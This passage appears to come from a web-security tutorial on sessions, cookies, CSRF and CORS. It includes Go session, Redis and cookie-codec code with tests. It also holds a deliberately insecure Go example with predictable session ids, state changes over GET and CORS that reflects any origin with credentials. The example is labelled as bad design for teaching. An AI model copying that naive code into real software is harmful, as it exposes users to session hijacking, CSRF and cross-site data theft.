http://app.example.com/ | different scheme | no | no in modern browsers (schemeful same-site) |
https://app.example.com:8443/ | different port | no | yes |
https://api.example.com/ | different host | no | yes |
https://example.org/ | different registrable domain | no | no |
Real scenario: The SPA on https://app.example.com calls https://api.example.com: same site (cookies with SameSite=Lax flow for navigation, fetch needs CORS and a cookie with a matching Domain or a first-party design).
Fix / how to use it: keep the API on the same origin behind a reverse proxy (/api/*, see Proxies) and CORS disappears; otherwise configure CORS precisely.
CORS: simple requests and preflight Must-know
In plain words: CORS is the server telling the browser "pages from this origin may read my answer".
Common misunderstanding: "A CORS error means the request failed." The request often reached the server and ran; the browser only hid the response. For a non-simple request the preflight OPTIONS fails first and the real request is never sent.
Definition: MDN: "The Cross-Origin Resource Sharing standard works by adding new HTTP headers that let servers describe which origins are permitted to read that information from a web browser." A simple request (GET, HEAD, POST with a safelisted header set and content type application/x-www-form-urlencoded, multipart/form-data or text/plain) is sent directly. Anything else (PUT, DELETE, Content-Type: application/json, a custom header such as X-CSRF-Token) triggers a preflight: an OPTIONS request with Origin, Access-Control-Request-Method and Access-Control-Request-Headers, sent without credentials.
1 fetch('https://api.example.com/orders/7', {method:'PUT', headers:{'Content-Type':'application/json'}, credentials:'include'})
2 browser -> API OPTIONS /orders/7 Origin: https://app.example.com Access-Control-Request-Method: PUT
3 API -> browser 204 Access-Control-Allow-Origin: https://app.example.com Allow-Methods: PUT Allow-Headers: content-type Max-Age: 600
4 browser caches the answer for 600 s (per origin, URL, method, headers)
5 browser -> API PUT /orders/7 Cookie: ... (the real request)
6 API -> browser 200 Access-Control-Allow-Origin: https://app.example.com Allow-Credentials: true Vary: Origin| Header | Direction | Meaning |
|---|---|---|
Origin | request | Origin of the calling page |
Access-Control-Request-Method / -Headers | preflight request | What the real request will use |
Access-Control-Allow-Origin | response | One origin, or * |
Access-Control-Allow-Methods | preflight response | Allowed methods |
Access-Control-Allow-Headers | preflight response | Allowed request headers |
Access-Control-Max-Age | preflight response | Seconds the browser may cache the preflight; MDN: default 5 seconds, and each browser caps larger values |
Access-Control-Expose-Headers | response | Response headers JavaScript may read |
Access-Control-Allow-Credentials | response | true lets the page use cookies |
Real scenario: A SPA developer sees "blocked by CORS policy" for a PUT; the server log shows only OPTIONS returning 404 because the route did not accept it. In Laravel the HandleCors middleware answers OPTIONS itself; in Go the middleware must run before the router and routing by method.
Fix / how to use it: see CORS with credentials and the Go middleware and Laravel config/cors.php.
CORS with credentials, wildcard limits, Vary: Origin and misconfigurations Must-know
In plain words: To let a SPA send its cookie to another origin you must name the origin exactly; a wildcard origin (*) is for public data only.
Common misunderstanding: "Reflect whatever Origin arrives; it is the same as * but works with cookies." That is the worst misconfiguration: it gives every website on the internet read access to your authenticated API for any logged-in visitor.
Definition: The page must ask (credentials: "include" in fetch, withCredentials = true in XMLHttpRequest / Axios). The response must carry Access-Control-Allow-Credentials: true and an exact Access-Control-Allow-Origin; MDN: "When responding to a credentialed requests request, the server must specify an origin in the value of the Access-Control-Allow-Origin header, instead of specifying the * wildcard." Preflights never carry credentials. When the allowed origin varies, add Vary: Origin so caches (CDN, browser) do not serve one origin's answer to another.
1 app-a.example fetches api.example/data -> Allow-Origin: https://app-a.example (cached by the CDN without Vary)
2 app-b.example fetches api.example/data -> CDN returns the cached answer with Allow-Origin: https://app-a.example
3 browser blocks app-b (mismatch) -> "random" CORS errors depending on who warmed the cache
4 with Vary: Origin the CDN keeps one entry per Origin| Misconfiguration | Impact | Fix |
|---|---|---|
Reflect any Origin + credentials | Any site reads authenticated data | Exact allow-list |
Suffix or substring match (endsWith("example.com")) | evilexample.com passes | Match whole origins or parse and compare scheme + host + port |
Allow null origin | Sandboxed iframes and file:// pass | Never allow-list null |
* with credentials | Browser rejects the response | Echo one origin |
Missing Vary: Origin | Cache poisoning of CORS headers | Always add it when the value varies |
| Allowing every method and header | Wider attack surface | List only what you use |
| CORS as the only CSRF defence | Simple requests still execute | Origin check + token |
Trusting internal networks (localhost, private IPs) | Browser on a corporate LAN becomes a proxy | Authenticate the API |
Real scenario: A staging allow-list contains http://localhost:3000; it is copied to production by a shared env file, and any local page on a developer machine can read production data.
Fix / how to use it: Go cors.New returns an error for * with credentials; Laravel 'supports_credentials' => true with 'allowed_origins' => ['https://app.example.com'] (never *).
Cookies across subdomains and multi-tenant domains Important
In plain words: Domain=example.com shares a cookie with all subdomains; that is convenient for single sign-on and dangerous when a tenant controls a subdomain.
Common misunderstanding: "Subdomains are all mine, so sharing is safe." Any subdomain that can run attacker script, be taken over (dangling DNS) or set a cookie can overwrite a parent-domain cookie and fixate a session or plant a CSRF cookie, which is why OWASP warns against the naive double submit there.
Definition: Cookies are keyed by (name, domain, path). A host-only __Host- cookie cannot be written by a sibling. For SaaS products, each tenant can have tenant.saas.example (shared parent domain: avoid Domain=saas.example) or a custom domain (a different site: separate cookies automatically; the session cannot be shared).
| Layout | Cookie design | Risk |
|---|---|---|
One host (app.example.com) | __Host- host-only | Lowest |
app. + api. same registrable domain | host-only on each, SPA→API through CORS + token | Cookies not shared |
SSO across a.example.com, b.example.com | Domain=example.com on one cookie, __Secure- | Any subdomain takeover compromises it |
| Tenant subdomains on user-content domain | Put user content on a different registrable domain (the public suffix list pattern: *.githubusercontent.com) | Tenants share Domain otherwise |
| Custom tenant domains | Per-domain sessions, central login redirect | More redirects |
Real scenario: A platform lets customers publish pages on customer.platform.example; because the app cookie used Domain=platform.example, a customer's page could overwrite it (cookie tossing). Moving to __Host- and a separate user-content domain closed it.
Fix / how to use it: host-only __Host- cookies; Sanctum SPA mode uses the session domain (SESSION_DOMAIN=.example.com) and SANCTUM_STATEFUL_DOMAINS, so evaluate that trade-off consciously.
Remember-me tokens: selector and validator Important
In plain words: "Keep me signed in" is a second, long-lived credential in a cookie, used to start a new session after the first one expires.
Common misunderstanding: "Just make the session last 30 days." That makes every stolen cookie and every idle laptop valid for 30 days with no way to see or revoke it, and you lose the short idle timeout. Keep a short session and a separate, revocable remember token.
Definition: The selector/validator pattern stores a row per token: selector (random, public, used to look the row up), validator_hash = sha256(validator) (the validator itself is never stored), user id, expiry. The cookie is selector:validator. Comparing hashes with hash_equals avoids a timing leak; a one-time rotation limits replay; a known selector with a wrong validator signals theft.
1 login with "remember me": row (selector=S, hash=H(V), user=42, expires=+30d); cookie __Secure-remember=S:V
2 next month, session gone: cookie arrives S:V -> lookup by S, compare H(V) in constant time
3 match: delete row, issue a new pair (S2, V2), start a new session with a fresh id
4 attacker replays old S:V -> row not found -> reject
5 S found but H(V) differs -> assume theft -> delete all remember tokens of user 42| Design | Revocation | DB leak impact | Replay |
|---|---|---|---|
| Long session | by key | session ids if unhashed | until expiry |
Single remember_token column (Laravel default) | one token per user, rotated on logout | hash of the token | until logout |
| Selector/validator rows | per device | hashes only | one use |
Real scenario: Laravel's Auth::attempt($credentials, $remember) uses the remember_token column (one token for the user); the chapter's selector/validator table gives a device list and per-device revocation.
Fix / how to use it: RememberTokens PHP service and its migration; require re-authentication (password) for sensitive actions even when the session came from a remember token.
CREATE TABLE remember_tokens (
selector varchar(24) PRIMARY KEY,
validator_hash char(64) NOT NULL,
user_id bigint NOT NULL REFERENCES users (id) ON DELETE CASCADE,
user_agent varchar(255),
expires_at timestamptz NOT NULL,
created_at timestamptz NOT NULL DEFAULT now()
);
CREATE INDEX remember_tokens_expires_idx ON remember_tokens (expires_at);Flash data Good to know
In plain words: A flash message is a note stored in the session for exactly the next request ("Profile saved").
Common misunderstanding: "Flash data is a cookie." It lives in the session store; only the session id travels in the cookie. With the cookie driver it does travel in the cookie and counts against the 4 KB limit.
Definition: Laravel: flash('status', '...') is available immediately and during the next request, then deleted; reflash() keeps it for another request, keep([...]) keeps selected keys, now() makes it available only in the current request. This is the Post/Redirect/Get pattern.
1 POST /profile -> session.flash('status','saved') -> 302 /profile
2 GET /profile -> view reads status, flash is marked old
3 GET /other -> status is gone| Need | Laravel | Go (this chapter) |
|---|---|---|
| One-request message | $request->session()->flash() | Session.Data["_flash"] read-and-delete |
| Keep one more request | reflash() / keep() | write it back |
| Current request only | now() | local variable |
Real scenario: Two tabs: the second tab consumes the flash that the first one needed; with a SPA, return the message in the JSON response instead.
Fix / how to use it: use flash for redirect flows only; do not put secrets or large payloads in it.
Session storage at scale: Redis, TTL and size Important
In plain words: Sessions are a hot key-value workload: every request reads one and refreshes its TTL.
Common misunderstanding: "Sessions are small, so any Redis will do." At 100,000 requests per second each request is a read plus an EXPIRE; a shared cache Redis evicting keys under memory pressure logs users out.
Definition: Use a dedicated Redis (or logical connection) with maxmemory-policy noeviction or volatile-ttl, not allkeys-lru shared with a cache; expiry is native (EX, EXPIRE); Redis Cluster shards by key hash, so all keys of one session (sess:<hash>) land on one shard while the per-user index set may land on another (use hash tags {uid} if you need both in one slot). Size: keep a record under a few KB; 10 million sessions of 1 KB are about 10 GB of data plus overhead (back-of-envelope estimate).
1 1M daily users, avg 2 sessions each, 1 KB record + 100 B overhead -> ~2.2 GB working set (estimate)
2 traffic: 20k req/s * (GET + EXPIRE) = 40k Redis ops/s -> one primary is enough; replicas for failover
3 primary fails; async replica promoted: sessions written in the last ms may be lost -> a few users re-login
4 growth: shard by hash(session key) in Redis Cluster; per-user set keyed {uid} to keep the index on one slot| Concern | Redis | PostgreSQL | DynamoDB |
|---|---|---|---|
| Reads per request | 1 (+1 EXPIRE) | 1 select + 1 update | 1 get + 1 update |
| Expiry | native | GC job | TTL attribute |
| Failover loses writes | possible (async) | no with sync replica | no (multi-AZ) |
| Eviction risk | yes, config | none | none |
| Ops cost | low | medium | none |
Real scenario: A cache flush (FLUSHALL during a deploy) on a shared Redis logs out every user; a dedicated connection prevents it.
Fix / how to use it: Laravel SESSION_CONNECTION selects a dedicated Redis connection; Go NewRedisStore(rdb, prefix) takes any redis.UniversalClient (single node, Sentinel or Cluster).
Mechanics
The exact knobs
| Knob | Where | Value used in this chapter |
|---|---|---|
Set-Cookie size | RFC 6265bis | name + value at most 4096 bytes |
| Session id | Go NewID | 32 random bytes, base64url, 43 characters |
| Idle timeout | Go Config.Idle, Laravel lifetime | 30 minutes |
| Absolute timeout | Go Config.Absolute, cookie Max-Age | 8 hours |
| Cookie name | both | __Host-sid / __Host-app_session |
SameSite | both | Lax |
PHP session.use_strict_mode | php.ini | 1: refuse ids the server did not issue |
PHP session.use_only_cookies | php.ini | 1: no ids in URLs |
PHP session.cookie_samesite | php.ini | Lax |
session.gc_maxlifetime | php.ini | idle window for the file handler |
Laravel encrypt | config/session.php | true |
Laravel APP_PREVIOUS_KEYS | .env | previous keys still decrypt after rotating APP_KEY |
CORS Access-Control-Max-Age | middleware | 600 |
Redis maxmemory-policy | redis.conf | noeviction for a session-only instance |
Status codes and error messages
| Where | Status or text | Meaning | Fix |
|---|---|---|---|
| Laravel | 419 Page Expired | CSRF token mismatch or expired session | Send X-XSRF-TOKEN; check cookie domain and secure |
| Laravel origin-only mode | 403 | Sec-Fetch-Site check failed | Add allowSameSite or the exact origin |
| Go middleware here | 403 csrf: token mismatch | missing or wrong header | Fetch /csrf-cookie first |
| HTTP | 401 | no or expired session | Redirect to login |
| HTTP | 400 / 431 | header or cookie too large | Shrink cookies, raise limits |
| Chrome console | "blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present" | server did not allow the origin | Fix allow-list or route for OPTIONS |
| Chrome console | "...The value of the 'Access-Control-Allow-Origin' header ... must not be the wildcard '*' when the request's credentials mode is 'include'" | * with credentials | Echo the exact origin |
| CORS preflight | 403 / 404 on OPTIONS | router did not handle it | Put CORS before routing |
The cookie attribute interaction matrix
| Situation | Lax | Strict | None; Secure | Partitioned |
|---|---|---|---|---|
| Same-site XHR/fetch | sent | sent | sent | sent |
| Cross-site link click (GET navigation) | sent | not sent | sent | only in its partition |
| Cross-site form POST | not sent | not sent | sent | only in its partition |
| Cross-site iframe subresource | not sent | not sent | sent unless blocked | sent in partition |
Cross-origin fetch with credentials: "include" | not sent | not sent | sent if CORS allows | in partition |
What a session request costs
| Step | Cost |
|---|---|
Parse Cookie header | microseconds |
sha256(id) | under a microsecond |
| Redis GET + EXPIRE (same data center) | about 0.2 to 1 ms each (estimate; see latency numbers) |
| JSON decode of 1 KB | microseconds |
| AES-GCM open of 1 KB (stateless) | microseconds |
Go
Example: session store, secure cookie codec, CSRF and CORS middleware
The naive version first (bad design, not broken code): predictable ids, no cookie flags, state change on GET, CORS that reflects every origin.
// Package main shows the naive session, CSRF and CORS code that every team writes once.
// It "works" in a demo and fails every item on the OWASP session checklist.
package main
import (
"fmt"
"net/http"
"strconv"
"sync"
)
var (
mu sync.Mutex
counter = 1000
sessions = map[string]string{} // session id -> user
)
func login(w http.ResponseWriter, r *http.Request) {
user := r.URL.Query().Get("user") // credentials in the URL, no password check at all
mu.Lock()
counter++
id := strconv.Itoa(counter) // predictable: the next id is simply +1
sessions[id] = user
mu.Unlock()
// No Secure, no HttpOnly, no SameSite, no Max-Age, wide Domain, id reused from the request if present.
http.SetCookie(w, &http.Cookie{Name: "sid", Value: id, Domain: "example.com", Path: "/"})
fmt.Fprintln(w, "ok")
}
func changeEmail(w http.ResponseWriter, r *http.Request) {
c, err := r.Cookie("sid")
if err != nil {
http.Error(w, "login first", http.StatusUnauthorized)
return
}
mu.Lock()
user := sessions[c.Value]
mu.Unlock()
// State change on GET with only a cookie: any <img src> on any site can trigger it (CSRF).
fmt.Fprintf(w, "email of %s changed to %s\n", user, r.URL.Query().Get("email"))
}
func withCORS(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Reflects any Origin and allows credentials, and forgets Vary: Origin.
if o := r.Header.Get("Origin"); o != "" {
w.Header().Set("Access-Control-Allow-Origin", o)
w.Header().Set("Access-Control-Allow-Credentials", "true")
}
next.ServeHTTP(w, r)
})
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/login", login)
mux.HandleFunc("/email", changeEmail)
_ = http.ListenAndServe("127.0.0.1:8080", withCORS(mux))
}The Store interface and the id/hash helpers:
// Package session implements server-side sessions: a 256-bit random id, a Store interface
// with in-memory and Redis implementations, idle and absolute timeouts, rotation, a per-user
// device index and "log out everywhere".
package session
import (
"context"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"errors"
"time"
)
// ErrNotFound is returned when a session does not exist or has expired.
var ErrNotFound = errors.New("session: not found")
// Session is the server-side record. The raw id never leaves the cookie; stores key by Hash(id).
type Session struct {
UserID string `json:"user_id"`
CreatedAt time.Time `json:"created_at"`
LastSeen time.Time `json:"last_seen"`
UserAgent string `json:"user_agent"`
Data map[string]string `json:"data"`
}
// Store is the persistence contract. Implementations must expire records on their own
// (TTL) so abandoned sessions do not accumulate.
type Store interface {
Load(ctx context.Context, key string) (*Session, error)
Save(ctx context.Context, key string, s *Session, ttl time.Duration) error
Delete(ctx context.Context, key string) error
// ListByUser returns key -> session for the device list; DeleteByUser is "log out everywhere".
ListByUser(ctx context.Context, userID string) (map[string]*Session, error)
DeleteByUser(ctx context.Context, userID string) (int, error)
}
// NewID returns 32 random bytes (256 bits) as base64url. OWASP asks for at least 64 bits.
func NewID() (string, error) {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
return "", err
}
return base64.RawURLEncoding.EncodeToString(b), nil
}
// Hash is the storage key: a leaked store dump does not contain usable cookie values.
func Hash(id string) string {
sum := sha256.Sum256([]byte(id))
return hex.EncodeToString(sum[:])
}The Redis implementation (one JSON string per session, a set per user):
package session
import (
"context"
"encoding/json"
"errors"
"time"
"github.com/redis/go-redis/v9"
)
// RedisStore keeps one JSON string per session ("sess:<hash>") with a TTL, plus a set per
// user ("user_sessions:<uid>") that indexes the keys for the device list and mass logout.
// Redis expires the string by itself; the index is cleaned lazily when a member is gone.
type RedisStore struct {
rdb redis.UniversalClient
prefix string
}
func NewRedisStore(rdb redis.UniversalClient, prefix string) *RedisStore {
return &RedisStore{rdb: rdb, prefix: prefix}
}
func (r *RedisStore) skey(k string) string { return r.prefix + "sess:" + k }
func (r *RedisStore) ukey(u string) string { return r.prefix + "user_sessions:" + u }
func (r *RedisStore) Load(ctx context.Context, key string) (*Session, error) {
raw, err := r.rdb.Get(ctx, r.skey(key)).Bytes()
if errors.Is(err, redis.Nil) {
return nil, ErrNotFound
}
if err != nil {
return nil, err
}
var s Session
if err := json.Unmarshal(raw, &s); err != nil {
return nil, err
}
return &s, nil
}
func (r *RedisStore) Save(ctx context.Context, key string, s *Session, ttl time.Duration) error {
raw, err := json.Marshal(s)
if err != nil {
return err
}
pipe := r.rdb.TxPipeline()
pipe.Set(ctx, r.skey(key), raw, ttl)
pipe.SAdd(ctx, r.ukey(s.UserID), key)
// The index lives a little longer than any session it points to.
pipe.Expire(ctx, r.ukey(s.UserID), ttl+time.Hour)
_, err = pipe.Exec(ctx)
return err
}
func (r *RedisStore) Delete(ctx context.Context, key string) error {
s, err := r.Load(ctx, key)
pipe := r.rdb.TxPipeline()
pipe.Del(ctx, r.skey(key))
if err == nil {
pipe.SRem(ctx, r.ukey(s.UserID), key)
}
_, perr := pipe.Exec(ctx)
return perr
}
func (r *RedisStore) ListByUser(ctx context.Context, userID string) (map[string]*Session, error) {
keys, err := r.rdb.SMembers(ctx, r.ukey(userID)).Result()
if err != nil {
return nil, err
}
out := map[string]*Session{}
for _, k := range keys {
s, err := r.Load(ctx, k)
if errors.Is(err, ErrNotFound) {
r.rdb.SRem(ctx, r.ukey(userID), k) // lazy cleanup of expired members
continue
}
if err != nil {
return nil, err
}
out[k] = s
}
return out, nil
}
func (r *RedisStore) DeleteByUser(ctx context.Context, userID string) (int, error) {
keys, err := r.rdb.SMembers(ctx, r.ukey(userID)).Result()
if err != nil {
return 0, err
}
pipe := r.rdb.TxPipeline()
for _, k := range keys {
pipe.Del(ctx, r.skey(k))
}
pipe.Del(ctx, r.ukey(userID))
if _, err := pipe.Exec(ctx); err != nil {
return 0, err
}
return len(keys), nil
}The manager: login with a fresh id, idle and absolute timeouts, rotation, logout everywhere:
package session
import (
"context"
"errors"
"net/http"
"time"
)
// Config holds the policy knobs. Zero values are replaced by safe defaults in NewManager.
type Config struct {
CookieName string // default "__Host-sid": Secure, Path=/, no Domain
Idle time.Duration // default 30m: sliding, enforced by the store TTL
Absolute time.Duration // default 8h: hard cap from CreatedAt, never extended
SameSite http.SameSite // default Lax
Insecure bool // tests over http only: drops Secure (and so the __Host- prefix rules)
}
// Manager ties the Store to HTTP cookies.
type Manager struct {
st Store
cfg Config
now func() time.Time
}
func NewManager(st Store, cfg Config, now func() time.Time) *Manager {
if cfg.CookieName == "" {
cfg.CookieName = "__Host-sid"
}
if cfg.Idle == 0 {
cfg.Idle = 30 * time.Minute
}
if cfg.Absolute == 0 {
cfg.Absolute = 8 * time.Hour
}
if cfg.SameSite == 0 {
cfg.SameSite = http.SameSiteLaxMode
}
if now == nil {
now = time.Now
}
return &Manager{st: st, cfg: cfg, now: now}
}
func (m *Manager) setCookie(w http.ResponseWriter, id string, maxAge int) {
http.SetCookie(w, &http.Cookie{
Name: m.cfg.CookieName, Value: id, Path: "/", MaxAge: maxAge,
Secure: !m.cfg.Insecure, HttpOnly: true, SameSite: m.cfg.SameSite,
})
}
// Login creates a brand-new session with a fresh id. Never reuse an id the client sent:
// that is how session fixation works.
func (m *Manager) Login(ctx context.Context, w http.ResponseWriter, r *http.Request, userID string) (string, error) {
if old, err := r.Cookie(m.cfg.CookieName); err == nil {
_ = m.st.Delete(ctx, Hash(old.Value))
}
id, err := NewID()
if err != nil {
return "", err
}
t := m.now()
s := &Session{UserID: userID, CreatedAt: t, LastSeen: t, UserAgent: r.UserAgent(), Data: map[string]string{}}
if err := m.st.Save(ctx, Hash(id), s, m.cfg.Idle); err != nil {
return "", err
}
m.setCookie(w, id, int(m.cfg.Absolute.Seconds()))
return id, nil
}
// Get loads the session for the request, enforces the absolute timeout and slides the idle one.
func (m *Manager) Get(ctx context.Context, w http.ResponseWriter, r *http.Request) (*Session, string, error) {
c, err := r.Cookie(m.cfg.CookieName)
if err != nil {
return nil, "", ErrNotFound
}
key := Hash(c.Value)
s, err := m.st.Load(ctx, key)
if err != nil {
return nil, "", err
}
t := m.now()
if t.Sub(s.CreatedAt) >= m.cfg.Absolute {
_ = m.st.Delete(ctx, key)
return nil, "", ErrNotFound
}
s.LastSeen = t
ttl := m.cfg.Idle
if left := m.cfg.Absolute - t.Sub(s.CreatedAt); left < ttl {
ttl = left
}
if err := m.st.Save(ctx, key, s, ttl); err != nil {
return nil, "", err
}
return s, c.Value, nil
}
// Rotate moves the session to a new id after a privilege change (login, password change,
// role change). The old id stops working immediately.
func (m *Manager) Rotate(ctx context.Context, w http.ResponseWriter, r *http.Request) (string, error) {
s, oldID, err := m.Get(ctx, w, r)
if err != nil {
return "", err
}
id, err := NewID()
if err != nil {
return "", err
}
if err := m.st.Save(ctx, Hash(id), s, m.cfg.Idle); err != nil {
return "", err
}
if err := m.st.Delete(ctx, Hash(oldID)); err != nil {
return "", err
}
m.setCookie(w, id, int(m.cfg.Absolute.Seconds()))
return id, nil
}
// Logout destroys the server-side record and tells the browser to drop the cookie.
func (m *Manager) Logout(ctx context.Context, w http.ResponseWriter, r *http.Request) error {
if c, err := r.Cookie(m.cfg.CookieName); err == nil {
if err := m.st.Delete(ctx, Hash(c.Value)); err != nil && !errors.Is(err, ErrNotFound) {
return err
}
}
m.setCookie(w, "", -1)
return nil
}
// LogoutEverywhere deletes every session of the user and returns how many were removed.
func (m *Manager) LogoutEverywhere(ctx context.Context, userID string) (int, error) {
return m.st.DeleteByUser(ctx, userID)
}
// Devices lists the user's live sessions for a "where you are signed in" page.
func (m *Manager) Devices(ctx context.Context, userID string) (map[string]*Session, error) {
return m.st.ListByUser(ctx, userID)
}Its tests (against miniredis, an in-process Redis):
package session
import (
"context"
"net/http"
"net/http/httptest"
"testing"
"time"
"github.com/alicebob/miniredis/v2"
"github.com/redis/go-redis/v9"
)
type clock struct{ t time.Time }
func (c *clock) now() time.Time { return c.t }
func (c *clock) advance(d time.Duration) { c.t = c.t.Add(d) }
func cookieOf(t *testing.T, rec *httptest.ResponseRecorder) *http.Cookie {
t.Helper()
for _, c := range rec.Result().Cookies() {
if c.Name == "__Host-sid" {
return c
}
}
t.Fatal("no session cookie")
return nil
}
func TestIDHasEnoughEntropyAndIsUnique(t *testing.T) {
a, _ := NewID()
b, _ := NewID()
if a == b || len(a) < 43 { // 32 bytes -> 43 base64url chars
t.Fatalf("weak ids: %q %q", a, b)
}
}
func TestCookieAttributes(t *testing.T) {
m := NewManager(NewMemoryStore(nil), Config{}, nil)
rec := httptest.NewRecorder()
if _, err := m.Login(context.Background(), rec, httptest.NewRequest("POST", "/login", nil), "u1"); err != nil {
t.Fatal(err)
}
c := cookieOf(t, rec)
if !c.Secure || !c.HttpOnly || c.SameSite != http.SameSiteLaxMode || c.Path != "/" || c.Domain != "" || c.MaxAge != 8*3600 {
t.Fatalf("bad attributes: %+v", c)
}
}
func TestLoginIgnoresClientSuppliedID(t *testing.T) { // fixation
st := NewMemoryStore(nil)
m := NewManager(st, Config{}, nil)
req := httptest.NewRequest("POST", "/login", nil)
req.AddCookie(&http.Cookie{Name: "__Host-sid", Value: "attacker-chosen"})
rec := httptest.NewRecorder()
id, err := m.Login(context.Background(), rec, req, "u1")
if err != nil || id == "attacker-chosen" {
t.Fatalf("fixation: id=%q err=%v", id, err)
}
}
func TestIdleSlidesButAbsoluteDoesNot(t *testing.T) {
ck := &clock{t: time.Date(2026, 1, 1, 9, 0, 0, 0, time.UTC)}
m := NewManager(NewMemoryStore(ck.now), Config{Idle: 10 * time.Minute, Absolute: time.Hour}, ck.now)
ctx := context.Background()
rec := httptest.NewRecorder()
id, _ := m.Login(ctx, rec, httptest.NewRequest("POST", "/login", nil), "u1")
req := httptest.NewRequest("GET", "/", nil)
req.AddCookie(&http.Cookie{Name: "__Host-sid", Value: id})
for i := 0; i < 5; i++ { // 5 x 9 minutes: always inside the idle window
ck.advance(9 * time.Minute)
if _, _, err := m.Get(ctx, httptest.NewRecorder(), req); err != nil {
t.Fatalf("step %d: %v", i, err)
}
}
ck.advance(9 * time.Minute) // 54 min total, still ok
if _, _, err := m.Get(ctx, httptest.NewRecorder(), req); err != nil {
t.Fatal(err)
}
ck.advance(9 * time.Minute) // 63 min: past the absolute cap although never idle
if _, _, err := m.Get(ctx, httptest.NewRecorder(), req); err != ErrNotFound {
t.Fatalf("want ErrNotFound after absolute timeout, got %v", err)
}
}
func TestIdleExpiry(t *testing.T) {
ck := &clock{t: time.Date(2026, 1, 1, 9, 0, 0, 0, time.UTC)}
m := NewManager(NewMemoryStore(ck.now), Config{Idle: 10 * time.Minute}, ck.now)
ctx := context.Background()
id, _ := m.Login(ctx, httptest.NewRecorder(), httptest.NewRequest("POST", "/", nil), "u1")
req := httptest.NewRequest("GET", "/", nil)
req.AddCookie(&http.Cookie{Name: "__Host-sid", Value: id})
ck.advance(11 * time.Minute)
if _, _, err := m.Get(ctx, httptest.NewRecorder(), req); err != ErrNotFound {
t.Fatalf("want ErrNotFound, got %v", err)
}
}
func TestRotateInvalidatesOldID(t *testing.T) {
m := NewManager(NewMemoryStore(nil), Config{}, nil)
ctx := context.Background()
id, _ := m.Login(ctx, httptest.NewRecorder(), httptest.NewRequest("POST", "/", nil), "u1")
req := httptest.NewRequest("GET", "/", nil)
req.AddCookie(&http.Cookie{Name: "__Host-sid", Value: id})
newID, err := m.Rotate(ctx, httptest.NewRecorder(), req)
if err != nil || newID == id {
t.Fatalf("rotate: %v %q", err, newID)
}
if _, _, err := m.Get(ctx, httptest.NewRecorder(), req); err != ErrNotFound {
t.Fatalf("old id still valid: %v", err)
}
}
func TestRedisStoreDevicesAndLogoutEverywhere(t *testing.T) {
mr := miniredis.RunT(t)
rdb := redis.NewClient(&redis.Options{Addr: mr.Addr()})
m := NewManager(NewRedisStore(rdb, "app:"), Config{}, nil)
ctx := context.Background()
var ids []string
for i := 0; i < 3; i++ {
id, err := m.Login(ctx, httptest.NewRecorder(), httptest.NewRequest("POST", "/", nil), "u1")
if err != nil {
t.Fatal(err)
}
ids = append(ids, id)
}
if _, err := m.Login(ctx, httptest.NewRecorder(), httptest.NewRequest("POST", "/", nil), "u2"); err != nil {
t.Fatal(err)
}
devs, _ := m.Devices(ctx, "u1")
if len(devs) != 3 {
t.Fatalf("devices=%d", len(devs))
}
if n, err := m.LogoutEverywhere(ctx, "u1"); err != nil || n != 3 {
t.Fatalf("n=%d err=%v", n, err)
}
req := httptest.NewRequest("GET", "/", nil)
req.AddCookie(&http.Cookie{Name: "__Host-sid", Value: ids[0]})
if _, _, err := m.Get(ctx, httptest.NewRecorder(), req); err != ErrNotFound {
t.Fatalf("want ErrNotFound, got %v", err)
}
if devs, _ := m.Devices(ctx, "u2"); len(devs) != 1 {
t.Fatalf("other user affected: %d", len(devs))
}
// Redis TTL is the idle timeout.
key := "app:sess:" + Hash(ids[1])
mr.Set(key, "x")
mr.SetTTL(key, 30*time.Minute)
if ttl := mr.TTL(key); ttl != 30*time.Minute {
t.Fatalf("ttl %v", ttl)
}
}The stateless cookie codec (HMAC or AES-GCM, bound to the cookie name, expiring, key rotation):
// Package cookiecodec signs (HMAC-SHA256) and optionally seals (AES-256-GCM) cookie values
// for stateless sessions and small tokens. Every value is bound to the cookie name and
// carries its own expiry; keys can be rotated by listing old keys after the new one.
package cookiecodec
import (
"crypto/aes"
"crypto/cipher"
"crypto/hmac"
"crypto/rand"
"crypto/sha256"
"crypto/subtle"
"encoding/base64"
"encoding/json"
"errors"
"strings"
"time"
)
var (
ErrInvalid = errors.New("cookiecodec: invalid value")
ErrExpired = errors.New("cookiecodec: expired")
ErrTooBig = errors.New("cookiecodec: encoded value exceeds the cookie size budget")
)
// MaxEncoded keeps the whole cookie (name + value + attributes) under the 4096-byte floor
// that RFC 6265 asks user agents to support; leave room for the name and attributes.
const MaxEncoded = 3800
type envelope struct {
Exp int64 `json:"exp"`
Val json.RawMessage `json:"val"`
}
// Codec holds keys: Keys[0] signs/seals; all keys verify/open (rotation).
type Codec struct {
Keys [][]byte // each at least 32 bytes
Seal bool // encrypt with AES-256-GCM instead of only signing
Now func() time.Time
}
func (c *Codec) now() time.Time {
if c.Now != nil {
return c.Now()
}
return time.Now()
}
var b64 = base64.RawURLEncoding
func mac(key []byte, name, payload string) []byte {
h := hmac.New(sha256.New, key)
h.Write([]byte(name))
h.Write([]byte{0})
h.Write([]byte(payload))
return h.Sum(nil)
}
// Encode returns the cookie value for v, valid for ttl.
func (c *Codec) Encode(name string, v any, ttl time.Duration) (string, error) {
if len(c.Keys) == 0 || len(c.Keys[0]) < 32 {
return "", errors.New("cookiecodec: need a key of at least 32 bytes")
}
raw, err := json.Marshal(v) // JSON, never language-native serialization: no object injection
if err != nil {
return "", err
}
plain, err := json.Marshal(envelope{Exp: c.now().Add(ttl).Unix(), Val: raw})
if err != nil {
return "", err
}
var out string
if c.Seal {
gcm, err := newGCM(c.Keys[0])
if err != nil {
return "", err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := rand.Read(nonce); err != nil {
return "", err
}
// The cookie name is authenticated as additional data, so a value cannot be moved
// from one cookie to another.
out = "e1." + b64.EncodeToString(gcm.Seal(nonce, nonce, plain, []byte(name)))
} else {
p := b64.EncodeToString(plain)
out = "s1." + p + "." + b64.EncodeToString(mac(c.Keys[0], name, p))
}
if len(out) > MaxEncoded {
return "", ErrTooBig
}
return out, nil
}
// Decode verifies (and decrypts) the value and unmarshals the payload into v.
func (c *Codec) Decode(name, value string, v any) error {
var plain []byte
switch {
case c.Seal && strings.HasPrefix(value, "e1."):
blob, err := b64.DecodeString(value[3:])
if err != nil {
return ErrInvalid
}
